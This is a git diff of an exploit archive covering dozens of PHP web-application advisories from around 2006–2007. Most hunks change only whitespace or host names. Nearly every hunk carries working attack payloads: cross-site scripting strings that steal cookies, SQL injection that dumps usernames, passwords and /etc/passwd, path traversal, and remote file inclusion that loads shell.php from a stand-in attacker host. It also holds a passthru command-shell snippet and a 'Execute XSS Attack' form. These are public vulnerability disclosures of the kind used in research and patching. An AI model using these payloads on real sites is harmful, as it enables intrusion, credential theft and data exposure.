href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=%22and+Redoable+1.2%22">"and Redoable 1.2"</a> </font><br><br><br> <center>file <b>index.php</b> - variable <b>s</b> - method <b>get</b></center><br> <form action="http://www.example.com/index.php" method="get"> <input size=75 name="s" value="</title><script>alert(1)</script>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html> \ No newline at end of file +<!-- Redoable 1.2 - Cross-Site Scripting Vulnerability --------------- Vulnerable Code --------------- header.php (line 6): ... elseif (is_search()) { ?> Search for <?php echo $s } ... searchloop.php (line 24): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), $s); } ------------ Patched Code ------------ header.php (line 6 FIXED): ... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ... searchloop.php (line 24 FIXED): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), strip_tags($s)); } Vulnerable Variable: s Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php Vulnerable: Redoable 1.2 (other versions should also be vulnerable) Google d0rk: "and Redoable 1.2" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 17th, 2007 !--> <html> <head><title>Redoable 1.2 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=%22and+Redoable+1.2%22">"and Redoable 1.2"</a> </font><br><br><br> <center>file <b>index.php</b> - variable <b>s</b> - method <b>get</b></center><br> <form action="http://www.example.com/index.php" method="get"> <input size=75 name="s" value="</title><script>alert(1)</script>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html> \ No newline at end of file diff --git a/platforms/php/webapps/30051.txt b/platforms/php/webapps/30051.txt index 97beb424b..8f7426fe5 100755 --- a/platforms/php/webapps/30051.txt +++ b/platforms/php/webapps/30051.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to access sensitive data that may be PsychoStats 3.0.6b and prior versions are vulnerable to this issue. -http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00 \ No newline at end of file +http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00 \ No newline at end of file diff --git a/platforms/php/webapps/30053.txt b/platforms/php/webapps/30053.txt index f2a63a14b..b72c1f018 100755 --- a/platforms/php/webapps/30053.txt +++ b/platforms/php/webapps/30053.txt @@ -8,4 +8,4 @@ ClientExec 3.0.0 beta2 is vulnerable; other versions may also be affected. http://www.example.com/[path]/index.php?ticketID=[xss] http://www.example.com/[path]/index.php?view=[xss] -http://www.example.com/[path]/index.php?fuse=[xss] \ No newline at end of file +http://www.example.com/[path]/index.php?fuse=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30064.txt b/platforms/php/webapps/30064.txt index 2b4430ae1..38a52c3e4 100755 --- a/platforms/php/webapps/30064.txt +++ b/platforms/php/webapps/30064.txt @@ -6,4 +6,4 @@ Exploiting these issues may help an attacker steal cookie-based authentication c HLstats 1.35 is vulnerable; other versions may also be affected. -http://www.example.com/hlstats/hlstats.php/>"><script>alert(1)</script> http://www.example.com/hlstats/hlstats.php?action=[xss] \ No newline at end of file +http://www.example.com/hlstats/hlstats.php/>"><script>alert(1)</script> http://www.example.com/hlstats/hlstats.php?action=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30068.txt b/platforms/php/webapps/30068.txt index 3d7fdb2c8..cacc7c21f 100755 --- a/platforms/php/webapps/30068.txt +++ b/platforms/php/webapps/30068.txt @@ -6,4 +6,4 @@ This vulnerability may allow an attacker to perform cross-site scripting attacks Jetbox 2.1 is reported vulnerable; other versions may also be affected. -http://www.example.com/product/index.php?view=webuser&task=sendpw&login=<script>alert(document.cookies)</script> \ No newline at end of file +http://www.example.com/product/index.php?view=webuser&task=sendpw&login=<script>alert(document.cookies)</script> \ No newline at end of file diff --git a/platforms/php/webapps/3007.txt b/platforms/php/webapps/3007.txt index d81b195cc..44dbf8058 100755 --- a/platforms/php/webapps/3007.txt +++ b/platforms/php/webapps/3007.txt @@ -45,19 +45,19 @@ + -> 03: require_once "{$GLOBALS['PTH']['classes']}user.class.php"; + + Proof Of Concept: -+ http://[target]/[path]/scripts/gallery.scr.php?GLOBALS[PTH][func]=http://evilserver/shell.php? -+ http://[target]/[path]/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/scripts/news.scr.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/scripts/polls.scr.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/scripts/rss.scr.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/scripts/search.scr.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/scripts/xtextarea.scr.php?GLOBALS[PTH][spaw]=http://evilserver/shell.php? -+ http://[target]/[path]/functions/form.func.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/functions/general.func.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/functions/groups.func.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/functions/js.func.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/functions/sections.func.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? -+ http://[target]/[path]/functions/users.func.php?GLOBALS[PTH][classes]=http://evilserver/shell.php? ++ http://[target]/[path]/scripts/gallery.scr.php?GLOBALS[PTH][func]=http://evilsite.com/shell.php? ++ http://[target]/[path]/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/scripts/news.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/scripts/polls.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/scripts/rss.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/scripts/search.scr.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/scripts/xtextarea.scr.php?GLOBALS[PTH][spaw]=http://evilsite.com/shell.php? ++ http://[target]/[path]/functions/form.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/functions/general.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/functions/groups.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/functions/js.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/functions/sections.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? ++ http://[target]/[path]/functions/users.func.php?GLOBALS[PTH][classes]=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-12-25] diff --git a/platforms/php/webapps/30071.txt b/platforms/php/webapps/30071.txt index 30e93805d..594013771 100755 --- a/platforms/php/webapps/30071.txt +++ b/platforms/php/webapps/30071.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th ABC Excel Parser Pro 4.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/sample/xls2mysql/parser_path=shell.txt? \ No newline at end of file +http://www.example.com/[path]/sample/xls2mysql/parser_path=shell.txt? \ No newline at end of file diff --git a/platforms/php/webapps/30072.txt b/platforms/php/webapps/30072.txt index 04d9f61bf..1b9105b94 100755 --- a/platforms/php/webapps/30072.txt +++ b/platforms/php/webapps/30072.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br PsychoStats 3.0.6b is vulnerable; other versions may also be affected. -http://www.example.com/psychostats/weapons.php/>"><script>alert(1)</script> \ No newline at end of file +http://www.example.com/psychostats/weapons.php/>"><script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30073.txt b/platforms/php/webapps/30073.txt index bd3836a6f..889d5518a 100755 --- a/platforms/php/webapps/30073.txt +++ b/platforms/php/webapps/30073.txt @@ -6,4 +6,4 @@ This vulnerability potentially allows an attacker to perform cross-site scriptin GMTT Music Distro 1.2 is reported vulnerable; other versions may also be affected. -http://www.example.com/path/showown.php?st=XSS \ No newline at end of file +http://www.example.com/path/showown.php?st=XSS \ No newline at end of file diff --git a/platforms/php/webapps/30075.txt b/platforms/php/webapps/30075.txt index 4f66758bf..f2b62275c 100755 --- a/platforms/php/webapps/30075.txt +++ b/platforms/php/webapps/30075.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script phpPgAdmin 4.1.1 is reported vulnerable; other versions may also be affected. -https://www.example.com/phpPgAdmin/sqledit.php?server=[xss] \ No newline at end of file +https://www.example.com/phpPgAdmin/sqledit.php?server=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30079.txt b/platforms/php/webapps/30079.txt index b57fcf416..4c3f1f0e4 100755 --- a/platforms/php/webapps/30079.txt +++ b/platforms/php/webapps/30079.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability could allow an attacker to perform cross-site scri 2z Project 0.9.5 is reported vulnerable; other versions may also be affected. -http://www.example.com/2zcms/?category=none&altname=testnews&rating=xxx \ No newline at end of file +http://www.example.com/2zcms/?category=none&altname=testnews&rating=xxx \ No newline at end of file diff --git a/platforms/php/webapps/3008.pl b/platforms/php/webapps/3008.pl index 86a557539..f6cb9d510 100755 --- a/platforms/php/webapps/3008.pl +++ b/platforms/php/webapps/3008.pl @@ -10,7 +10,7 @@ # usage:perl deltaSecurity.pl <target> <cmd shell location> <cmd shell variable> # # -# perl deltaSecurity.pl http://[target]/[Path]/socios/ http://server/cmd.txt cmd +# perl deltaSecurity.pl http://[target]/[Path]/socios/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # diff --git a/platforms/php/webapps/30082.txt b/platforms/php/webapps/30082.txt index 14e2541ff..6f916152b 100755 --- a/platforms/php/webapps/30082.txt +++ b/platforms/php/webapps/30082.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script Gnuturk 3G is vulnerable to this issue. -http://server/mods.php?go=News&p=ln&year=2007&month="><h1>Vagrant</h1><script>alert(document.cookie)</script> \ No newline at end of file +http://www.target.com/mods.php?go=News&p=ln&year=2007&month="><h1>Vagrant</h1><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30086.txt b/platforms/php/webapps/30086.txt index 90046704f..229c47029 100755 --- a/platforms/php/webapps/30086.txt +++ b/platforms/php/webapps/30086.txt @@ -4,4 +4,4 @@ BoastMachine is prone to a cross-site scripting vulnerability. Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http://server/index.php?action=search&item=content&blog=[xss] \ No newline at end of file +http://www.target.com/index.php?action=search&item=content&blog=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30087.txt b/platforms/php/webapps/30087.txt index 7d858d895..319beb656 100755 --- a/platforms/php/webapps/30087.txt +++ b/platforms/php/webapps/30087.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Digirez 3.4 is vulnerable to these issues. -http://www.example.com/room/info_book.asp?Room_name='><script>alert(1);</script> http://www.example.com/room/week.asp?curYear='><script>alert(1);</script> \ No newline at end of file +http://www.example.com/room/info_book.asp?Room_name='><script>alert(1);</script> http://www.example.com/room/week.asp?curYear='><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/30088.txt b/platforms/php/webapps/30088.txt index ef6ea7b8f..edbd66021 100755 --- a/platforms/php/webapps/30088.txt +++ b/platforms/php/webapps/30088.txt @@ -6,4 +6,4 @@ An attacker may exploit this issue to reset account passwords for arbitrary user Pligg 9.5 is reported vulnerable; other versions may also be affected. -http://www.example.com/login.php?processlogin=4&username=admin&confirmationcode=1234567891e2f566cbda0a9c855240bf21b8bae030404cad7 \ No newline at end of file +http://www.example.com/login.php?processlogin=4&username=admin&confirmationcode=1234567891e2f566cbda0a9c855240bf21b8bae030404cad7 \ No newline at end of file diff --git a/platforms/php/webapps/30090.txt b/platforms/php/webapps/30090.txt index 53692d5ad..2f8d7328e 100755 --- a/platforms/php/webapps/30090.txt +++ b/platforms/php/webapps/30090.txt @@ -4,4 +4,4 @@ phpPgAdmin is prone to a cross-site scripting vulnerability. Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/redirect.php/%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E?subject=server&server=test \ No newline at end of file +http://www.example.com/redirect.php/%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E?subject=server&server=test \ No newline at end of file diff --git a/platforms/php/webapps/30094.txt b/platforms/php/webapps/30094.txt index ea1b3eec5..0e0f16200 100755 --- a/platforms/php/webapps/30094.txt +++ b/platforms/php/webapps/30094.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script This issue affects DGNews 2.1; other versions may also be affected. -http://www.example.com/footer.php?copyright=[xss] \ No newline at end of file +http://www.example.com/footer.php?copyright=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30095.txt b/platforms/php/webapps/30095.txt index 49f56a9c8..6053ba3ab 100755 --- a/platforms/php/webapps/30095.txt +++ b/platforms/php/webapps/30095.txt @@ -6,4 +6,4 @@ Successful exploits could allow an attacker to compromise the application, acces DGNews 2.1 is reported vulnerable; other versions may also be affected. -http://www.example.com/news.php?go=newslist&catid=' UNION SELECT 1,`site_title` FROM `news_config` WHERE '1 \ No newline at end of file +http://www.example.com/news.php?go=newslist&catid=' UNION SELECT 1,`site_title` FROM `news_config` WHERE '1 \ No newline at end of file diff --git a/platforms/php/webapps/30099.txt b/platforms/php/webapps/30099.txt index 1c4839e83..254031760 100755 --- a/platforms/php/webapps/30099.txt +++ b/platforms/php/webapps/30099.txt @@ -9,4 +9,4 @@ DGNews 2.1 is reported vulnerable; other versions may also be affected. http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7%20from%2 0news_comment http://www.example.com/news.php?go=fullnews&newsid=-9+union+select+1,2,load_file(0x2F7573722F6C6F63616C2F617061636865322F6874646F63732F64676E657 -7732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment \ No newline at end of file +7732F61646D696E2F636F6E6E2E706870),4,5,6,7%20from%20news_comment \ No newline at end of file diff --git a/platforms/php/webapps/30101.txt b/platforms/php/webapps/30101.txt index 9ec88f5c8..ffd89f7fc 100755 --- a/platforms/php/webapps/30101.txt +++ b/platforms/php/webapps/30101.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc cpCommerce 1.1.0 is reported vulnerable; other versions may also be affected. -http://www.example.com/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union/**/select/**/pass,LOAD_FILE(0x2F6574632F706173737764),0/**/from/**/cpAccounts/* \ No newline at end of file +http://www.example.com/cpcommerce/manufacturer.php?id_manufacturer=-9/**/union/**/select/**/pass,LOAD_FILE(0x2F6574632F706173737764),0/**/from/**/cpAccounts/* \ No newline at end of file diff --git a/platforms/php/webapps/30103.txt b/platforms/php/webapps/30103.txt index 33df8e33d..bef2cf338 100755 --- a/platforms/php/webapps/30103.txt +++ b/platforms/php/webapps/30103.txt @@ -4,4 +4,4 @@ Particle Blogger is prone to an SQL-injection vulnerability because it fails to Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/apppath/archives.php?year=2007&month=' \ No newline at end of file +http://www.example.com/apppath/archives.php?year=2007&month=' \ No newline at end of file diff --git a/platforms/php/webapps/30109.txt b/platforms/php/webapps/30109.txt index 0969c9ed6..4165fa5dd 100755 --- a/platforms/php/webapps/30109.txt +++ b/platforms/php/webapps/30109.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Particle Gallery 1.0.1 and prior versions. -http://www.example.com/apppath/search.php?user=admin&order=>"><ScRiPt%20%0a%0d>alert(1111110)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/apppath/search.php?user=admin&order=>"><ScRiPt%20%0a%0d>alert(1111110)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/30111.txt b/platforms/php/webapps/30111.txt index f79cdb459..fc563d80a 100755 --- a/platforms/php/webapps/30111.txt +++ b/platforms/php/webapps/30111.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue by manipulating the SQL query logic to carry This issue affects myBloggie 2.1.6 and earlier. http://www.example.com/apppath/index.php?mode=viewuser&cat_id=' -http://www.example.com/apppath/index.php?mode=viewuser&month_no=4&year=" \ No newline at end of file +http://www.example.com/apppath/index.php?mode=viewuser&month_no=4&year=" \ No newline at end of file diff --git a/platforms/php/webapps/30127.txt b/platforms/php/webapps/30127.txt index 3510744c9..accfaae37 100755 --- a/platforms/php/webapps/30127.txt +++ b/platforms/php/webapps/30127.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute an arbitrary remote file contai This issue affects 'Prototype of an PHP application' 0.1. -http://example.com/script/plugins/phpgacl/admin/index.php?path_inc=[shell] \ No newline at end of file +http://example.com/script/plugins/phpgacl/admin/index.php?path_inc=[shell] \ No newline at end of file diff --git a/platforms/php/webapps/30132.txt b/platforms/php/webapps/30132.txt index 6bd6111f3..5fec723db 100755 --- a/platforms/php/webapps/30132.txt +++ b/platforms/php/webapps/30132.txt @@ -4,4 +4,4 @@ Evenzia CMS is prone to a cross-site script vulnerability because the applicatio An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/includes/send.inc.php/>'>><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/includes/send.inc.php/>'>><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30137.txt b/platforms/php/webapps/30137.txt index 5b27ee733..ed45d9d5b 100755 --- a/platforms/php/webapps/30137.txt +++ b/platforms/php/webapps/30137.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br PHP Live! 3.2.2 is vulnerable to this issue; other versions may also be affected. http://www.example.com/phplive/setup/footer.php?LANG[DEFAULT_BRANDING]=<script>alert(123);</script> -http://www.example.com/phplive/setup/footer.php?PHPLIVE_VERSION=<script>alert(123);</script> http://www.example.com/phplive/setup/footer.php?nav_line=<script>alert(123);</script> \ No newline at end of file +http://www.example.com/phplive/setup/footer.php?PHPLIVE_VERSION=<script>alert(123);</script> http://www.example.com/phplive/setup/footer.php?nav_line=<script>alert(123);</script> \ No newline at end of file diff --git a/platforms/php/webapps/30138.txt b/platforms/php/webapps/30138.txt index 79d1a616e..8e48a4580 100755 --- a/platforms/php/webapps/30138.txt +++ b/platforms/php/webapps/30138.txt @@ -4,4 +4,4 @@ Codelib Linker is prone to a cross-site scripting vulnerability because the appl An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?cat=[xss] \ No newline at end of file +http://www.example.com/index.php?cat=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30140.txt b/platforms/php/webapps/30140.txt index c0f5db219..15ede81ee 100755 --- a/platforms/php/webapps/30140.txt +++ b/platforms/php/webapps/30140.txt @@ -4,4 +4,4 @@ Okyanusmedya is prone to a cross-site scripting vulnerability because the applic An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?pages=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(document.cookie)%3B%3C/ScRiPt%3E http://www.example.com/index.php?pages=menu=3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(document.cookie)%3B%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?pages=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(document.cookie)%3B%3C/ScRiPt%3E http://www.example.com/index.php?pages=menu=3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(document.cookie)%3B%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/30143.txt b/platforms/php/webapps/30143.txt index 6d5266963..a2425b0ae 100755 --- a/platforms/php/webapps/30143.txt +++ b/platforms/php/webapps/30143.txt @@ -15,4 +15,4 @@ http://www.example.com/index.php?pageid=[XSS] http://www.example.com/index.php?pageid=[XSS] http://www.example.com/index.php?pageid=-->[XSS] http://www.example.com/index.php?pageid=email@address.com[XSS]domain.com -http://www.example.com/index.php?pageid=[XSS] \ No newline at end of file +http://www.example.com/index.php?pageid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30152.txt b/platforms/php/webapps/30152.txt index 9ef06dd17..d9548109b 100755 --- a/platforms/php/webapps/30152.txt +++ b/platforms/php/webapps/30152.txt @@ -4,4 +4,4 @@ My DataBook is prone to multiple input-validation vulnerabilities, including cro Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/apppath/diary.php?month=06&year=2007&day=01&delete=%27 http://www.example.com/apppath/diary.php?month=06&year=2007&day=01&delete=%00' \ No newline at end of file +http://www.example.com/apppath/diary.php?month=06&year=2007&day=01&delete=%27 http://www.example.com/apppath/diary.php?month=06&year=2007&day=01&delete=%00' \ No newline at end of file diff --git a/platforms/php/webapps/30153.txt b/platforms/php/webapps/30153.txt index 3696a8aa4..29c0bb591 100755 --- a/platforms/php/webapps/30153.txt +++ b/platforms/php/webapps/30153.txt @@ -4,4 +4,4 @@ My DataBook is prone to multiple input-validation vulnerabilities, including cro Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/apppath/diary.php?Sec=diary&month=06&year=</title><ScRiPt%20%0a%0d>alert(123123123)%3B</ScRiPt>&day=01 \ No newline at end of file +http://www.example.com/apppath/diary.php?Sec=diary&month=06&year=</title><ScRiPt%20%0a%0d>alert(123123123)%3B</ScRiPt>&day=01 \ No newline at end of file diff --git a/platforms/php/webapps/30158.txt b/platforms/php/webapps/30158.txt index b24778463..85ab1360e 100755 --- a/platforms/php/webapps/30158.txt +++ b/platforms/php/webapps/30158.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to include arbitrary remote files containin JD-Wiki 1.0.2 and earlier versions are vulnerable to this issue; other versions may also be affected. -http://www.example.com/components/com_jd-wiki/bin/wantedpages.php?mosConfig_absolute_path= \ No newline at end of file +http://www.example.com/components/com_jd-wiki/bin/wantedpages.php?mosConfig_absolute_path= \ No newline at end of file diff --git a/platforms/php/webapps/30161.txt b/platforms/php/webapps/30161.txt index 7ae56312b..7422c5b44 100755 --- a/platforms/php/webapps/30161.txt +++ b/platforms/php/webapps/30161.txt @@ -6,4 +6,4 @@ Attackers could exploit these issues to steal cookie-based authentication creden Versions prior to Atom PhotoBlog 1.0.9.1 are vulnerable. -http://www.example.com/atomphotoblog/atomPhotoBlog.php?do=index&tag=<ScRiPt%20%0a%0d>alert(1566213939)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/atomphotoblog/atomPhotoBlog.php?do=index&tag=<ScRiPt%20%0a%0d>alert(1566213939)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/30168.txt b/platforms/php/webapps/30168.txt index 143c4da88..3484be85f 100755 --- a/platforms/php/webapps/30168.txt +++ b/platforms/php/webapps/30168.txt @@ -4,4 +4,4 @@ vBSupport is prone to an SQL-injection vulnerability because it fails to suffici An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. -http://www.example.com/4/vBSupport.php?do=showticket&ticketid=[SQL] \ No newline at end of file +http://www.example.com/4/vBSupport.php?do=showticket&ticketid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/30170.txt b/platforms/php/webapps/30170.txt index 39af4d21c..253506880 100755 --- a/platforms/php/webapps/30170.txt +++ b/platforms/php/webapps/30170.txt @@ -6,4 +6,4 @@ An attacker may leverage any of these issues to execute arbitrary script code in Beehive Forum 0.71 is vulnerable; other versions may also be affected. -http://www.example.com/forum/links.php?webtag=FORUM_NAME&fid=1&viewmode=>".><script>alert(1);</script> http://www.example.com/forum/links.php?webtag=FOEUM_NAME&fid=>".><script>alert(1);</script>&viewmode=1 http://www.example.com/forum/links.php?webtag=FORUM_NAME&fid=1&viewmode=0&page=1&sort_by=CREATED&sort_dir="><script>alert(1)</script> \ No newline at end of file +http://www.example.com/forum/links.php?webtag=FORUM_NAME&fid=1&viewmode=>".><script>alert(1);</script> http://www.example.com/forum/links.php?webtag=FOEUM_NAME&fid=>".><script>alert(1);</script>&viewmode=1 http://www.example.com/forum/links.php?webtag=FORUM_NAME&fid=1&viewmode=0&page=1&sort_by=CREATED&sort_dir="><script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30173.txt b/platforms/php/webapps/30173.txt index 1a986ed51..b1fe42d3c 100755 --- a/platforms/php/webapps/30173.txt +++ b/platforms/php/webapps/30173.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues by manipulating the SQL query logic to carr These issues affect versions prior to JFFNMS 0.8.4-pre3. -http://192.168.1.1/admin/adm/test.php \ No newline at end of file +http://192.168.1.1/admin/adm/test.php \ No newline at end of file diff --git a/platforms/php/webapps/30175.txt b/platforms/php/webapps/30175.txt index 1da5709b6..c05ddba2f 100755 --- a/platforms/php/webapps/30175.txt +++ b/platforms/php/webapps/30175.txt @@ -4,4 +4,4 @@ BBpress is prone to a cross-site scripting vulnerability because it fails to pro Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -GET /bb-login.php?re="><script>alert(1);</script> HTTP/1.0 Host: www.some.site Referer: http://www.some.site/ \ No newline at end of file +GET /bb-login.php?re="><script>alert(1);</script> HTTP/1.0 Host: www.some.site Referer: http://www.some.site/ \ No newline at end of file diff --git a/platforms/php/webapps/30197.txt b/platforms/php/webapps/30197.txt index a2357afc9..d84443473 100755 --- a/platforms/php/webapps/30197.txt +++ b/platforms/php/webapps/30197.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce This issue affects WSPortal 1.0; other versions may also be vulnerable. -http://www.example.com/[WSPORTAL-DIRECTORY]/content.php?page=0' UNION SELECT `username`,`password` FROM `users` WHERE '1 \ No newline at end of file +http://www.example.com/[WSPORTAL-DIRECTORY]/content.php?page=0' UNION SELECT `username`,`password` FROM `users` WHERE '1 \ No newline at end of file diff --git a/platforms/php/webapps/30200.txt b/platforms/php/webapps/30200.txt index 0d316a5e7..af458925a 100755 --- a/platforms/php/webapps/30200.txt +++ b/platforms/php/webapps/30200.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script This issue affects Php Hosting Biller 1.0; other versions may also be vulnerable. -http://www.example.com/app_path/index.php/%3E%22%3E%3CScRiPt%3Ealert(1234)%3C/ScRiPt%3E \ No newline at end of file +http://www.example.com/app_path/index.php/%3E%22%3E%3CScRiPt%3Ealert(1234)%3C/ScRiPt%3E \ No newline at end of file diff --git a/platforms/php/webapps/30201.txt b/platforms/php/webapps/30201.txt index 51012fa17..f9b3f37d3 100755 --- a/platforms/php/webapps/30201.txt +++ b/platforms/php/webapps/30201.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script Fuzzylime 1.01b and prior versions are vulnerable to this issue. -http://www.example.com/path/low.php?action=log&fromforum=111-222-1933email@address.com&fromtopic=111-222-1933email@address.com&fromaction=>"><ScRiPt%20%0a%0d>alert(21 407654)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/path/low.php?action=log&fromforum=111-222-1933email@address.com&fromtopic=111-222-1933email@address.com&fromaction=>"><ScRiPt%20%0a%0d>alert(21 407654)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/30217.txt b/platforms/php/webapps/30217.txt index 3902e3aa0..5ccd70884 100755 --- a/platforms/php/webapps/30217.txt +++ b/platforms/php/webapps/30217.txt @@ -4,4 +4,4 @@ Wrapper.php for OsCommerce is prone to a local file-include vulnerability becaus Exploiting this issue may allow an unauthorized user to view files and execute local scripts. -http://www.example.com/wrapper.php?file=../../../../etc/passwd \ No newline at end of file +http://www.example.com/wrapper.php?file=../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30220.txt b/platforms/php/webapps/30220.txt index 9272e1bd0..d38390e47 100755 --- a/platforms/php/webapps/30220.txt +++ b/platforms/php/webapps/30220.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l PHP Accounts 0.5 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?page=../../etc/passwd \ No newline at end of file +http://www.example.com/index.php?page=../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30221.txt b/platforms/php/webapps/30221.txt index 3f37ebe99..12a8e677b 100755 --- a/platforms/php/webapps/30221.txt +++ b/platforms/php/webapps/30221.txt @@ -11,4 +11,4 @@ http://www.example.com/path/index.php?Outgoing_ID=[SQL INJECTION] 